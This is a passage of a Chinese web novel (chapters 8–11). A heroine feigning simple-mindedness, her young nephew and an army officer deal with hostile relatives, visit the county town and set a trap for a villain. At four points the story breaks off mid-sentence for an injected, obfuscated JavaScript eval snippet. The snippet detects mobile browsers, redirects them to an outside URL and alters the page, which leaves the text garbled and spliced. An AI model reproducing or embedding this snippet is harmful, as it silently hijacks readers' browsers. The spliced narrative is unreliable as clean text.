只见舒明淮招呼厉关岳进屋,舒瑜欣慰。 舒明淮进屋倒了水端给厉关岳,舒瑜在心里给明淮竖了个大拇指。 对对对,就这样,你们可要好好培养感情。 厉关岳不渴,但他没有拒绝明淮的好心,接过水喝了一口,笑道:“谢谢明淮。” 舒瑜乐呵呵地看着。 可舒明淮给厉关岳递上了水,就直愣愣地站在一边,看着很是手足无措,不知道该说些什么。 舒瑜担心气氛僵住,好在厉关岳主动提起了舒卫华,明淮一听,下意识上前一步,期待地看着厉关岳。 舒瑜暗自点头,拎了张小木凳,放到舒明淮脚边:“这个弟弟坐。” “这个叔叔坐。”她环顾四周,又跑到里屋,搬来一个高点的凳子。 舒瑜心道:“都坐下,坐近点,好好聊天。” 厉关岳失笑,也不介意被叫做“叔叔”,他看着像只小蜜蜂一样勤劳的舒瑜:“谢谢舒妹妹。” 舒妹妹? 舒瑜舒瑜耳尖莫名发痒,手也抖了一下。 她心里暗恼,这人怎么回事? 谁准他乱叫的,谁是他妹妹了! 长得帅又如何,真、真是没有规矩!不守男德! 她这下可真是冤枉了厉关岳。 实在是因为从前在部队,舒卫华那家伙三天两头就要把自家妹妹挂在嘴边炫耀。 “我妹妹今天来信了,字写得可好了”、“我妹妹这回考试又拿了第一”、“我家小鱼最贴心了”……听得厉关岳耳朵都快起茧子。 他那时多半是随口应付,顺着舒卫华的话头说两句“是是是,妹妹最好”。 “舒卫华你小子有福气”。 这“妹妹”的称呼,就这么半是调侃半是习惯地留了下来。 如今厉关岳看着眼前这个虽然身形已是大人模样,眼神举止却分明带着稚气的姑娘,他也没多想,那声“舒妹妹”便自然而然地出了口。 在他眼里,舒瑜这情况,跟个半大孩子也差不多,实在没必要刻意用对成年人的那份疏离客气去对待。 舒明淮没觉得有什么不对,他全部的注意力都被厉关岳话里关于父亲的部分吸引了过去,眼巴巴地等着下文。 厉关岳莫名其妙就被舒瑜瞪了一眼,他没在意,只觉得这是小孩子心性。 他注意力回到舒明淮身上,语气缓和:“你父亲在部队里,总跟我们提起你,说你打小就聪明,学东西快。” 舒明淮的眼睛一下子亮了起来,抿了抿嘴唇,想听更多。 舒瑜见状,也悄悄竖起了耳朵,连心里那点小小的嘀咕都暂时搁下了。 …… 天色不知不觉暗了几分,灰蒙蒙的云絮盖住蓝天。 屋檐下,田地里,细密的的雨丝飘洒下来,是春雨来了。 因着天气,舒卫国和陈丽云提早下工回家,两人一前一后走了进来。 陈丽云本就因自己弟弟的事憋着火,今天又被雨淋了一身,裤腿上全是泥点子,她进门抬眼就看见自家堂屋里坐着个陌生男人,舒瑜和舒明淮也围着他坐在一边,一股怒火“噌”地就直冲头顶。 “这人谁啊!”陈丽云眼睛剜着舒瑜和舒明淮,“什么人都往家里领,真把这当自己家了?” “一点教养也没有。”她尖厉的嗓音震得毫无防备的舒瑜一抖。 屋里那点愉快的气氛瞬间冻住了,舒明淮笑容散去,恢复了那谨小慎微的样子,面对指责他习惯性地缩起了肩膀。 舒瑜扭头瞪过去:可恶,竟敢打扰明淮和大佬培养感情。 “你个傻子看什么看,还有理了你!”陈丽云对上舒瑜的眼睛,更是气不打一处来。 舒瑜心底冷笑,就要起来与陈丽云物理对轰。 厉关岳却先她一步起身,他不紧不慢地站起来,脸上的那点温和笑意收敛地干干净净,目光平静却莫名摄人。 “你……”陈丽云下意识退后一步。 舒卫国张了张嘴,没有开口。 厉关岳声音不高,出口却是满满的压迫感:“两位,是舒卫华同志的兄嫂吧?” 他不等人回答,继续道:“我姓厉,是舒卫华同志在部队的上级,这次过来,是代表组织,走访慰问烈士家属。” 闻言,陈丽云的声音哽在喉咙里。 上、上级? 她记得小叔子牺牲前好像是什么营长,他的上级……那是多大的官啊? 陈丽云只觉得腿肚子有些发软,恨不得能把自己刚才吐出去的那些话一个字一个字捡回来,再吞回肚子里去。 她的脸色青一阵白一阵,慌乱地看向舒卫国,扯了扯他的衣服,示意他说句话。 舒卫国甩开陈丽云:“去找村支书来。” “噢!噢!”陈丽云没敢再看厉关岳,下意识地应声,转身就往雨里跑去。 舒卫国一个人站在院子里,雨丝飘到他脸上,很凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166299|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 厉关岳就站在堂屋前,没看他,目光淡淡地投向天际越来越密的雨帘,仿佛院子里杵着的只是根无关紧要的木头。 过了片刻,厉关岳才像是想起什么,侧过脸,嘴角带起一点很浅的弧度:“雨大了,舒同志不如进屋说话。” “进、这就进。”舒卫国连连应声,僵硬地迈开步子。 “欺软怕硬。”舒瑜冷眼瞧着,心里冷哼。 没过多久,村支书徐大爷披着蓑衣匆匆赶了过来。 他一进门,视线就在厉关岳身上停了停。 “厉同志,我是村里的书记,姓徐。”徐大爷主动上前一步,热切道,“感谢组织的关心啊!”徐大爷已经从陈丽云那里得知了厉关岳的身份和来意。 厉关岳笑意真切了些,伸出手与徐大爷握了握:“徐书记,您好。” 徐大爷点头,引着厉关岳重新落座,说了几句场面话。 屋里的气氛似乎因着徐大爷的到来而轻松了起来,站在角落的舒卫国和陈丽云偷偷交换了一个眼神,都从对方眼里看到一丝轻松。 看来这位厉同志是个明事理的,刚才那茬,应该不会计较了吧? 舒瑜却觉得没那么简单,她能看出厉关岳对舒卫国夫妻俩的无视,他不屑于和他们掰扯对峙,除了刚见面的几句话,他连一个眼神都没再给舒卫国他们。 舒瑜悄悄观察着厉关岳,他脸上挂着得体的笑,和村支书聊着村里的收成、今年的气候,语气温和从容,她却探寻到了男人笑容底下的晦涩。 果然,寒暄了几句后,厉关岳很自然地将话题又带了回来,他的目光扫过瘦小的舒明淮,又掠过舒瑜那好奇地探脑袋的小动作。 “卫华是我们部队的英雄,是国家的烈士。” “他为国捐躯,我们这些活着的战友,心里既敬佩,也痛惜,我一直以为,能养育出这样好儿郎的地方,乡亲们必定淳朴厚道,他的亲人也会替他好好照看留下的这根独苗。” 说着,厉关岳顿了一下,眼尾扫过舒卫国和陈丽云战战兢兢的身影:“可事实上,烈士的儿子却能被人随意的辱骂……” 村支书的脸色越来越差,他扫视一眼舒卫国,叹息道:“是我没做好村里人的思想教育。”徐书记想起老友舒父的请求,更加心生愧疚。 “我一定召开大会,对他们进行思想教育。” 闻言,舒卫国脸色惨白,嘴唇哆嗦着。 厉关岳不置可否地点点头,他对明淮招了招手:“明淮,来叔叔这。” “厉叔叔……”舒明淮抬起小脸,一种陌生的感受涌上来,热热的,涨涨的,堵住了他喉咙口。 舒瑜注意到舒明淮那黑亮的眼睛蒙上了一层薄薄的水雾,盈满了全然的信赖和仰慕。 舒明淮伸出小手,小心翼翼地,抓住了厉关岳军装外套的一角。 他感受到了厚重的安全感。 厉关岳摸摸他的脑袋:“明天叔叔带你和小姑去县城里玩。” 县城! 缩在板凳上的舒瑜跳起来,她来到这里这么久,还没有出过村呢! 舒瑜肉眼可见地比舒明淮还要激动,厉关岳噙着笑看向她。 舒瑜对上厉关岳的眼睛,动作一顿,下一秒就更加兴奋地欢呼:“要出去玩喽!小鱼要吃好吃的!”她可是个傻子,这样才正常。 厉关岳心想:“舒家妹妹好像确实比明淮还像个孩子。” 思及舒瑜的病,他又不免忧虑。 一个傻姑娘,被人卖了估计都乐呵呵的。 9. 第九章 第二天,舒瑜很早就醒了,躺在床上数着时间。 想到今天能去县城,她心里雀跃,竟比每日习惯早起的舒明淮醒得还早些。 没有智能手机,每天没事就只能睡觉发呆数星星的日子无聊透顶,舒瑜对今天的“县城一日游”期待不已。 舒卫国他们一家似乎都躲着他们,该上工的早早上工去了,该上学的也走了。 两人在院子里舀了冷水,抹了把脸,舒明淮进屋拿了梳子出来。 舒瑜见状熟练地往院子里一蹲,捧着下巴等待舒小Tony的顺毛服务。 自从那回舒明淮给舒瑜梳了头发后,他就好像喜欢上了这项活动,每天兢兢业业,从不懈怠。 不让他弄还不行,舒瑜受不了他那失落的可怜样子,便也随他了。 反正只是顺一顺头发,舒瑜翻过屋子,连根像样的头绳都找不到,绑不了头发,只能披散着,不过这样也好,一个傻子要是打理得太整洁,反而显得突兀。 哈哈哈,她全副身家只有一把梳子和一面破镜子,身价接近于零。 舒瑜内心泪流满面。 厉关岳从村支书家里过来,因着天气不方便赶路去城里的招待所,徐书记边盛情邀请他暂居自己家里。 他走近舒家的小院子,入眼的就是这一幕。 晨光里,瘦小的男孩神情专注,小心翼翼地给蹲在地上的姑娘梳着头,那姑娘托着腮,一动不动,乖巧得很。 他脚步顿了顿,眼里掠过笑意,觉得这姑侄俩相处还挺有意思的。 舒瑜一扭头,看见院门外站着的厉关岳,眼睛立刻亮了起来,用力朝他挥了挥手,脸上的笑容又大又真切,那份高兴劲儿藏都藏不住。 那肉眼可见的热情和期待惹得厉关岳失笑不已。 简单直白的姑娘,心思全写在脸上,他对自己这么热情,多半是惦记着昨天答应带他们去县城的事。 “厉叔叔。”舒明淮也很高兴,他上一次出远门还是和爷爷一起,去镇上的邮电所给在部队的爹寄信。 “嗯,”厉关岳点点头,走进院子,“收拾一下,我们这就走。” 去县城是坐拖拉机。 厉关岳昨天跟村支书打听过,今天正好有村里的小拖拉机要去县里拉东西,能捎带他们一程。 在乡下,带着舒瑜和明淮两个人,坐这个是最方便的了。 拖拉机突突突地响着,停在村口。 开拖拉机的是个皮肤黝黑的中年汉子,见到厉关岳,客气地招呼了一声,徐书记叮嘱过他,要把他们好好送过去。 厉关岳先托着舒明淮的腋下,把他抱上了车斗,又立马伸手去扶舒瑜。 可舒瑜自己已经灵活地手脚并用着往上爬,厉关岳手指微缩,没收回手臂,只是在旁边虚扶着,等她坐稳了,自己才长腿一迈,利落地跨了上去,就在舒瑜旁边坐了下来。 开拖拉机的孙叔和舒父也有交情,自然认识舒瑜和舒明淮,提醒道:“小淮,看牢你姑。”县城里热闹,但也混乱,鱼龙混杂,什么人都有。 舒明淮重重点头。 舒瑜一愣,知道大叔是关心自己,朝他一笑,扭头对舒明淮认真道:“弟,看牢我。” 孙叔爽朗的笑声响起。 厉关岳也勾起了唇角,眼尾含笑。 车斗里铺着些麻袋,坐着有点硌,还有些之前运输留下的尘土泥巴。 拖拉机启动,颠簸着上了土路,风呼呼地吹在脸上。 舒瑜侧过脸,看着身旁坐得笔直的厉关岳,她忍不住抿着嘴偷笑起来。 哎呀,这年头,就算是大佬,到了乡下,也得乖乖坐这格调全无的拖拉机啊。 拖拉机吭哧吭哧地往前开着,舒瑜一开始还兴致勃勃,可路实在太抖了,尤其昨天还下过雨,这小路更是泥泞。 拖拉机颠来颠去,舒瑜现在这小身板,只能随着它起伏,左摇右晃的,根本稳不住自己,她屁股都痛麻了。 旁边的舒明淮更是不好受,七岁年纪五岁的身板,更加难以坐稳。 厉关岳起初没太注意,他哪里有照顾人的经验,坐上车便开始闭目养神,昨晚他睡得并不好。 直到舒瑜和舒明淮在一次剧烈的晃动中“砰”地撞到了一块,舒瑜没忍住“哎呦”叫出了声,他才睁眼,侧头望去,看见两人东倒西歪、一脸苦色的狼狈样。 厉关岳马上反应过来:“明淮,过来。”他伸手,将摇摇晃晃的舒明淮拉到自己跟前,让他侧着坐在自己腿上,用胳膊圈住,孩子小小的身子立刻稳当了不少。 轮到舒瑜,厉关岳就犯了难。 姑娘家的,就算心智再小,该有的界限也得有,他不能越线,只能提醒舒瑜抓住车斗边缘。 舒瑜面如菜色地点头,可就她这脆皮身板,握力不足,车斗边缘又黏着干掉的沙石,非常粗糙,磨得她手火辣辣的。 舒瑜又一次随着拖拉机起飞,厉关岳叹气,朝她伸出胳膊:“舒瑜,抓住我。” 舒瑜如蒙大赦,也顾不得那么多了,立刻伸出一只手,抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒瑜也挺感激厉关岳,觉得他人真好。 “舒瑜,你喜欢哪件?”厉关岳又询问她。 舒瑜一愣,摇摇头。 厉关岳给舒明淮花钱还情有可原,毕竟是未来养父子的关系。 她算啥呀? 让她跟着混口饭吃就行,她就想吃顿好的! 厉关岳见舒瑜这么安静拘谨,以为她是在陌生环境里害怕了,便缓下声音,耐心道:“别怕,过来看看喜欢什么。” “让售货员姐姐给你拿。”这话说的,比对着舒明淮还要轻声细语,毕竟面对的是个连自己梳头都还不会的姑娘。 厉关岳叹息。 只觉得这短短两天,他叹的气比过去几年加起来还要多。 舒瑜不知道自己在厉关岳心中的形象,如果她知道,一定会抓狂:可以说她傻,但不能骂她是智障! 10. 第十章 供销社出来,厉关岳手里除了给姑侄俩买的衣服,还多了一兜鸡蛋糕和一包用油纸包着的饼干。 已是晌午,厉关岳便带着他们往国营饭店走。 这是县里最好的饭店,门边的墙上刷着白灰,写着“为人民服务”的标语,看着里头空间也还算大。 一进门,一股混杂着饭菜和烟火的气味扑面而来。 厅堂里摆着几张方桌,大多是木头长凳,人不多不少,看着都是家里条件比较好的。 里头嘈杂的说话声和碗筷碰撞声交织着,舒瑜探头望去,墙上挂着块小黑板,上面用粉笔写着今日供应的饭菜,有红烧肉、白菜粉条、炒土豆丝、馒头、米饭等等。 厉关岳让他们俩先找张靠边的空桌子坐下,自己拿了钱和粮票,去窗口排队。 舒瑜和舒明淮并排坐在长凳上。 空气中弥漫的肉香和炒菜的香味,油水十足,让舒瑜忍不住悄悄咽了下口水。 她正伸长脖子看向打饭的窗口,琢磨着厉关岳会买些什么回来,就听见旁边传来几声沉闷的“咕噜噜”声响。 舒瑜低头,舒明淮涨红了脸,小手飞快地捂住了自己的肚子。 “弟弟饿了?”舒瑜凑过去,小声问,然后也揉揉自己的肚子,“我也饿了。” 舒明淮见她这样,倒不那么尴尬了,反倒小声安慰她:“小姑,咱再忍一忍,厉叔叔马上就回来了。” 舒瑜笑着点点头,刚要开口回应,一道拔高的声音从隔壁那桌传来。 “哎,我说你这小姑娘怎么回事啊?” 舒瑜扭头,见邻桌坐着个四十来岁的大婶,梳着齐耳短发,穿着件蓝色的上衣,正皱着眉上下打量她。 “瞧瞧你这头发,披头散发的,一点都不精神利索,哪有我们劳动人民的样子!”她的声音不小,引得周围几桌人都看了过来。 舒瑜心里“啧”了一下,这人真是莫名其妙,管天管地还管别人头发怎么梳? 大婶见舒瑜只是看着她不说话,眼神还有点直愣,以为她是不服气在瞪人,更是来了劲头,想要好好教育教育她。 “年纪轻轻的,可别学那种旧社会的娇小姐做派!”她目光扫过他们放在凳子上的好衣服,又掠过他们身上打着补丁的旧衣,鼻子里哼了一声。 她瞧着这俩人不像有钱人家,倒像是农村来的,还买这么好的衣服,真是不懂事,不会过日子,又想到自己那挥霍的儿媳,心里更加不爽快。 这帽子扣得可就有点大了。 舒瑜眼神暗了暗,下一秒,嘴巴一瘪,眼圈说红就红,她猛地抓住舒明淮的袖子,声音颤抖,大声哭起来:“弟弟,我害怕!好凶的奶奶骂我!” “哇——”舒瑜声音又响又委屈,眼泪说掉就掉,她想着自己穿来后身无分文、吃不饱穿不暖的凄惨,还有原主不明不白被坏人盯上的倒霉,悲从中来,哭得更加真情实感。 那大婶一下子傻眼了,她张着嘴,愣住。 她不过是想教育两句这看着不顺眼的丫头,哪想到这人直接在大庭广众之下嚎啕大哭起来。 这、这还要不要脸面了? 舒明淮立刻反应过来,小姑是被这大婶骂了才哭的,他连忙伸出小手拍着舒瑜的背,又急又气地抬头对那大婶说:“不准骂我小姑!” “我小姑是生病了,她不是故意的!” 他这话一出,周围看热闹的人顿时议论开了。 “哎呦,原来是病了啊,难怪看着不太对。” “这人的也真是,跟个年纪轻轻的小姑娘计较什么?” “就是,瞧把人吓的,哭得多可怜。” 有热心的大爷看不过去,对着那大婶道:“这位女同志,少说两句吧,没听孩子说人家生了病吗?得饶人处且饶人。” 大婶被众人你一言我一语说得脸上挂不住,一阵红一阵白的,但还强撑着面子,嘴硬道:“有病就有理了?她爹妈也不管管,就让她这样出来……” 话音未落,舒明淮抬起泪汪汪的眼睛,声音不大,却口齿清晰:“我爷爷奶奶去世了。” 舒瑜心道:“好样的,明淮!” 此话一出,众人的目光变得复杂起来,看向舒瑜和舒明淮的眼神里多了同情,再看那大婶时,就带上了明显的不赞同甚至责备。 大婶瞬间噤了声,面色复杂,脸上火辣辣的,她嘴唇哆嗦着,想说点什么补救,却一个字也吐不出来,最后只能讪讪地低下头,胡乱扒拉自己碗里的饭菜,只恨不得把脸埋进去。 这时,厉关岳端着饭菜回来了。 他目光在舒瑜哭得眼睛鼻子红的脸上一凝。 厉关岳皱眉,把饭菜放在桌上:“怎么了?” “奶奶凶我头发难看。”舒瑜指着旁边那桌,告状告得毫不含糊。 厉关岳随着她的手指转向邻桌,带着冷意的视线落在那正坐立不安的大婶脸上。 大婶早在厉关岳端着饭菜过来时心里就咯噔了一下,被这目光一扫,更是如坐针毡,她慌忙站起身,连剩下的小半碗饭也顾不上了,只低着头,脚步匆匆地出了饭店门,几乎是落荒而逃。 厉关岳淡淡收回视线,将筷子递给两人:“没事了,吃饭吧。” 舒瑜的注意力已经全被眼前冒着热气的饭菜勾走了,红烧肉油亮亮地泛着光,白菜粉条炖得软烂入味,白米饭粒粒分明…… 她用力点点头,拿起筷子,迫不及待地夹了一块肉放进嘴里,顿时幸福地眯起了眼睛。 呜呜,太香了!这才是人吃的东西啊! 厉关岳吃饭很快,动作却并不粗鲁,没一会儿就放下了筷子,他看着对面两个埋头苦吃的小脑袋:“你们慢慢吃,在这里等着,别乱跑。”他叮嘱了一句。 舒瑜沉迷干饭,闻言只含糊地“嗯嗯”两声,头都没抬,舒明淮倒是乖乖应了:“知道了,厉叔叔。” 厉关岳站起身,大步离开了饭店。 再回来时,他手里多了个小纸包。 厉关岳坐会他们身边,将纸包打开,里面是四根颜色不一的头绳,红的蓝的都有,看着还挺鲜亮。 他把头绳放到舒瑜面前,对舒明淮说:“这个给你小姑用,以后可以请村里相熟的婶子大娘帮帮忙,教教怎么梳头。” 舒明淮看着那几根头绳,连忙点头:“嗯,谢谢厉叔叔!” 舒瑜看着那几根头绳,又看看厉关岳:“谢谢厉叔叔!”这下是真的感动了。 大佬人也太好了吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166301|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果不是差辈了,她都想当即认大佬为“义父”了,瞧瞧这衣服头绳糕点的,有钱他是真给他们花啊。 厉关岳“嗯”了一声,视线还停留在舒瑜泛着红的鼻尖,仿佛在思考,怎么一个陌生人都能把她欺负成这样。 从国营饭店出来,厉关岳看时间还早,便道:“走吧,带你们去看场电影。” 舒瑜和舒明淮齐刷刷地点头,脸上是掩不住的兴奋。 刚要走,旁边忽然传来一个男声,带着点刻意的熟稔:“舒瑜,你们咋来县里了?” 舒瑜脚步一顿,心想:“终于来了。” 陈志鹏见没人应他,也不在意,往前走了两步,依旧对着舒瑜,语气像是在哄小孩:“舒瑜,要不要吃糖啊?哥给你买。”说着,还伸出手,作势要拉她。 厉关岳眉头一拧,脚步一错,不动声色地将舒瑜挡在了自己身后,隔开了陈志鹏伸过来的手。 “不要!”舒瑜的声音猛地拔高,她像是没看见陈志鹏,也忽略了厉关岳,一心沉浸于自己的世界,嘴里开始念念有词,“我、我要去帮宋知青带香火蜡烛,他说要祭拜他娘,晚上要去树林……” 舒瑜装作陷入回忆的愣怔模样,神情恍惚。 陈志鹏脸上的笑容瞬间僵住,血色“唰”地一下褪去,瞳孔骤然收缩,他死死盯着舒瑜,嘴唇哆嗦了一下。 “她、她想起来了?”陈志鹏的手开始不受控制地微微颤抖,“不,不可能!” 厉关岳立刻察觉到了不对劲,舒瑜的状态很异常,而面前这个男人的反应更是古怪。 就在这时,舒瑜像是突然惊醒,猛地一把抓住了厉关岳的手臂,她抬起头,脸上满是急切和害怕:“厉叔叔,他是坏人!快把他抓起来!” “别急,舒瑜,慢慢说。”厉关岳安抚道。 陈志鹏脸上的肌肉扭曲了一瞬,随即他强迫自己镇定下来,挤出一个笑容,声音干涩:“舒瑜,你别胡说。” “不就是前阵子我去你家提亲,你不愿意吗?” “不愿意就算了,怎么还骂起人来了?”他把舒瑜的话归结为赌气和“犯傻”。 舒瑜却像是听不懂,只固执地重复,眼泪在眼眶里打转:“我知道军人是抓坏人的,他就是坏人!” 陈志鹏见状,连忙举起双手做投降状,后退两步,语气故作无奈:“好好好,我走,我走,你别嚷了。” “算我怕了你了。”他转向厉关岳,扯了扯嘴角,“对不住啊,兄弟,让你看笑话了。” “她这脑子不清醒,一生气就胡说八道,我这就走,这就走。”说完,他不敢再多停留,转身快步离去,只是转身的刹那,眼底掠过一丝近乎疯狂的狠戾。 厉关岳站在原地,看着陈志鹏匆匆消失在人群里的背影,又低头注视紧紧抓着自己胳膊、还在微微发抖的舒瑜,眸色沉沉。 他轻轻拍了拍舒瑜的手臂:“没事了,人走了。” 舒瑜像是耗尽了力气,慢慢松开了手,没再说话。 舒瑜低头掩去眼底的沉思。 她就是要让陈志鹏自乱阵脚,陷入疯狂的人什么事都做得出来,但这也是她的机会。 不然,等厉关岳一离开,陷入被动的就是她。 11. 第十一章 舒瑜低着头,心绪沉沉,方才那两下闹腾,虽是演戏,却也极耗费心神。 厉关岳没多问,只道:“走吧,去电影院。” 电影院是栋老式的砖瓦房子,门口挂着褪了色的红布横幅,检票口排着不短的队,多是年轻人或带着孩子的父母,所有人都带着笑。 进去后,里面光线昏暗,木头长椅一排排,已经坐了不少人。 今天放的是《红灯记》,银幕上光影闪烁,讲述着铁路工人家庭前赴后继的革命故事。 厉关岳显然看过,坐姿放松,目光落在银幕上,并没有那么专注。 舒瑜心里装着事,那些激昂的对白和旋律进到耳朵里,却难入心,她的脑子自动忽略了背景音,沉默着在心里反复推敲能让陈志鹏被抓个现行的计划。 只有舒明淮,背脊挺得直直的,眼睛一眨不眨地盯着前方,完全被电影吸引,到了剧情高潮,他小拳头攥得紧紧的,眼眶都有些泛红。 厉关岳微微侧过头,余光不着痕迹地掠过舒瑜,昏暗的光线下,她脸上没什么表情,眼神却不像平日那般空茫,眉头微微蹙着,像在沉思着。 电影散场,灯光大亮,人们议论着剧情,陆续往外走。 舒明淮还沉浸在故事里,小脸上带着兴奋的红晕,难得活泼地仰头对厉关岳说:“厉叔叔,电影真好看。” 舒瑜被他的声音拉回神,看着他欢快的模样,心里的阴霾都被驱散了不少。 她连忙点头附和,脸上也露出笑:“是呀是呀,真好看!” 厉关岳看着眼前这一大一小,暂时压下了心头的疑虑,脸上也浮现出浅淡的笑意,点了点头:“嗯,是部好电影,下次有机会我们再来。” 拖拉机将他们送回村里,天色已经暗了下来。 厉关岳一路将两人送到舒家院门外,舒明淮脚步磨蹭着,没有立刻进去,他仰着头,看着厉关岳。 “厉叔叔,你明天,是不是就要走了?” 厉关岳低头,注意到男孩眼睛里浓浓的不舍,慢条斯理道:“明天上午,叔叔要去县城拜访一位朋友。” “下午叔叔会过来,有些话想跟你聊聊,你在家等我,好吗?” 舒明淮的眼睛一下子焕发了光彩,他用力点头,抿着的嘴角忍不住向上弯起:“嗯!” “进去吧,”厉关岳脸上也带了点笑意,朝院门口抬了抬下巴,“你小姑等着你呢。” 舒明淮回头,果然看见舒瑜正扒着门框,探头探脑地朝他们这边望,他一秒都没再犹豫,连忙对厉关岳说了声“叔叔再见”,就小跑着回到舒瑜身边,拉住舒瑜的手。 两人牵着手回了房间。 舒明淮难掩雀跃,都不用舒瑜多问,就一五一十地把他们的对话告诉了舒她:“厉叔叔说,他明天上午要去县里看朋友,下午就过来找我,有话和我说。” 舒瑜点点头,心里念头一转,没再多问厉关岳的事,转头说起他们回来时路过隔壁,刚好看到那个欺负过舒明淮的李小强浑身湿透拎着条鱼回家。 “真讨厌。”舒瑜和舒明淮同仇敌忾,舒明淮抿唇笑笑,他觉得自己好像不在意了,看到李小强,他已经不再害怕了。 他想起今天在县城里看到的、听到的,想起厉叔叔挡在他们身前的样子,甚至想起电影里那些不怕坏蛋的英雄。 舒明淮紧了紧握着舒瑜的手。 “弟,你知道他那鱼哪抓的吗?”舒瑜自然而然地问。 舒明淮:“村东边的河里吧。” 舒瑜点点头:“噢噢。”她知道原来的舒瑜是不会游泳的,但她是会的,还游得不赖。 舒瑜心里闪过一个念头。 趁天还亮着,舒瑜让舒明淮带她去河边走走,这条河可不浅,下游连着边上的树林子。 …… 第二天中午,陈志鹏上门了,今天是刚好是队里每半月一天的休息日,舒卫国他们都在家。 陈志鹏昨天一整晚都没睡好觉,满脑子都是舒瑜说的话,那种刀悬在脖子上的煎熬,他实在忍受不了了。 他在陈丽云那儿了解了昨天那个男人的身份,心里更慌了,他强作镇定,让陈丽云帮他问问那厉同志什么时候走。 陈丽云虽然奇怪,但还是点头表示同意。 舒瑜没想到才第二天陈志鹏就上门来了,看来这人确实是急了。 舒瑜假装忽略陈志鹏,准备和往常一样,带着舒明淮回房间吃饭,陈丽云却叫住了他们。 她问道:“明淮,你知道厉同志还要待多久吗?” “他今天还过来家里不?” 舒明淮刚要回话,就被舒瑜抢过话头:“厉叔叔今天不来,你们这些坏人不许欺负我们!”说完,她拉着舒明淮就走。 “你!”陈丽云眉头一皱,心里虽恼,却不敢再像以前一样过分,毕竟还不知道那厉同志啥时候走呢! 陈志鹏低着头,用力咬了一口窝窝头:“今天不在啊……”他心里思索着。 吃完饭,趁着舒明淮去喂那两头猪的功夫,舒瑜晃晃悠悠走到院子里,瞅准了墙边那只空着的木桶,走过去,用脚尖不经意地一勾。 “哐当”一声,木桶翻倒在地,滚了两圈,声音不小。 正在厨房里边收拾碗筷边和弟弟说话的陈丽云被这动静惊了一下,她走出来,看见是舒瑜,眉头立刻拧起来。 她压着火气,语气硬邦邦地问:“你又想干啥?” 舒瑜叉着腰,抬着下巴:“我要去抓鱼,东边的河里有大鱼呢!” “我要抓好多好多鱼,比隔壁李小强抓的还多,得带上桶装” 陈丽云一听,一时间只觉得被气得心跳加速,她不想再跟这傻子纠缠,只想快点把她打发走,把桶拿回来。 她耐着性子说:“抓恁多干啥?” “鱼抓回来家里也没地方养,放不了多久就死了,啾抓个一条得了。” 舒瑜低着头,像是认真想了想,然后才不情不愿地“哦”了一声,拖长了调子:“那好吧。” 说完,她不再管地上的木桶,转身就回屋,脚步轻快。 等陈丽云进去,她飞快地往灶房的小窗里瞥了一眼,果然,陈志鹏已经凑到了陈丽云身边,正低声问着什么。 舒瑜收回视线,弯了一下嘴角。 鱼饵已经下了,接下来,就看这条被逼急了的鱼,上不上钩了。 舒瑜回到他们房间,舒明淮已经喂完猪回来了,正坐在床边,低着头,聚精会神地看着昨天厉关岳在新华书店给他买的那本连环画。 他还不认识几个字,但那些生动的图画就够他看好半天了。 “弟,”舒瑜走过去,挨着他坐下,“我想去河边抓鱼。” 舒明淮抬起头,想起昨晚小姑看到李小强的鱼时那副羡慕的样子,觉得她是真惦记上了,便点点头:“好,我陪小姑去。” 可随即,他又想起厉关岳下午要来找他,脸上露出一抹纠结:“可是,厉叔叔要来。” 舒瑜早就想好了,很自然地说:“那你们就去河边的小树林里说话。” “我就在河边等你,等你们说完了,你再来陪我抓鱼,好不好?” 舒明淮眼睛一亮,觉得这个办法很好,既能见到厉叔叔,又能陪小姑,他立刻点头:“好啊。” 舒瑜:“那咱们去前头等他吧。” 舒明淮眨眨眼。 “走吧,走吧。”舒瑜拉起舒明淮,“我都想厉叔叔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166302|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你不想他吗?” 可不能让陈志鹏遇上厉关岳,这欺软怕硬的,说不定就不敢有动作了。 舒瑜想到那晚在林子里,陈志鹏就只敢对自己下手,一听宋宇的男人声音就被吓得落荒而逃,冷笑一声。 他们顺着通往村口的小路,慢悠悠地一路晃过去,走到一半就看到厉关岳迈着步子走来。 她就说,厉关岳既然和明淮约了见面,就绝对来早不来晚的,不会让孩子一直惦记着干等他。 舒瑜轻轻往前推了一下舒明淮,示意他过去:“弟,你先带厉叔叔过去河边林子那边,那里安静,好说话。” “你再看看林里有没有果子的多摘几个。”她知道自己说了这话,性子里带着倔的明淮一定会进林子给她找果子。 